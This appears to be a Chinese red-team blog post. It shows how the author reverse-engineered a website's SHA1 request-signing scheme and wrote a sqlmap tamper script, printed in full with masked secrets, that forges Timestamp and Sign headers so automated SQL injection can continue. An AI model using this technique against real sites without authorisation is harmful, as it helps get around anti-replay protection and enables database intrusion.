关于 SQLMap 绕过 sign 限制

简述

在打护网的时候发现了一个注入,但是包存在 sign,手工跑起来太麻烦,所以编写了个 tamper,便有了这篇文章。

分析 sign 的构成

抓包这里有个明显的 Sign ,如果时间过了重放会直接提示错误的 token

image

image

全局搜索 \bsign\b​ 大致就能找到相似的内容,或者控制台直接看栈跟踪

image

image

这里我用的全局搜索跟进的,很明显就看到了这个 Sign 是怎么生成的

image

这里的变量只有一个时间戳,其他的全是固定的。

然后这里是经过了 l(c)​ 生成的结果,这个 l​ 在这个 sign 上面就有,但是我演示下别的方法,那就是打断点,火狐浏览器点一下要断点的地方后,直接刷新页面

image

image

直接点这个跟进就行

image

然后就能看到这个 l()​ 函数

image

这个函数我是问的 ChatGPT 才知道是实现的 Sha1 加密

那根据刚刚的分析就能很明显看出来这个 Sign 的构成

编写脚本

这个脚本直接参考 sqlmap 的 xforwardedfor.py​ tamper。

就是写个 sha1 加密,然后照抄那个 sign 就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python

"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import random

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from datetime import datetime, timedelta
from hashlib import sha1




__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def o():
current_time = datetime.now()
updated_time = current_time - timedelta(seconds=2)
formatted_time = updated_time.strftime("%Y%m%d%H%M%S")
return formatted_time

def encrypt(time: str):
payload = f'token=b***3&timestamp={time}&solt=b***k'
s1 = sha1(payload.encode())
return s1.hexdigest()

def tamper(payload, **kwargs):
"""
Append a fake HTTP header 'X-Forwarded-For' (and alike)
"""

headers = kwargs.get("headers", {})
time = o()
headers['Timestamp'] = time
headers['Sign'] = encrypt(time)

return payload

使用

命令行直接指定个 tamper=test.py​ 就行了,这里还有个别的过滤,但是绕过太常规了,就不在这说了,我这里还加了个参数防止出错影响数据,加个重试参数

1
--retry-on "\"msg\":\"invalid token\""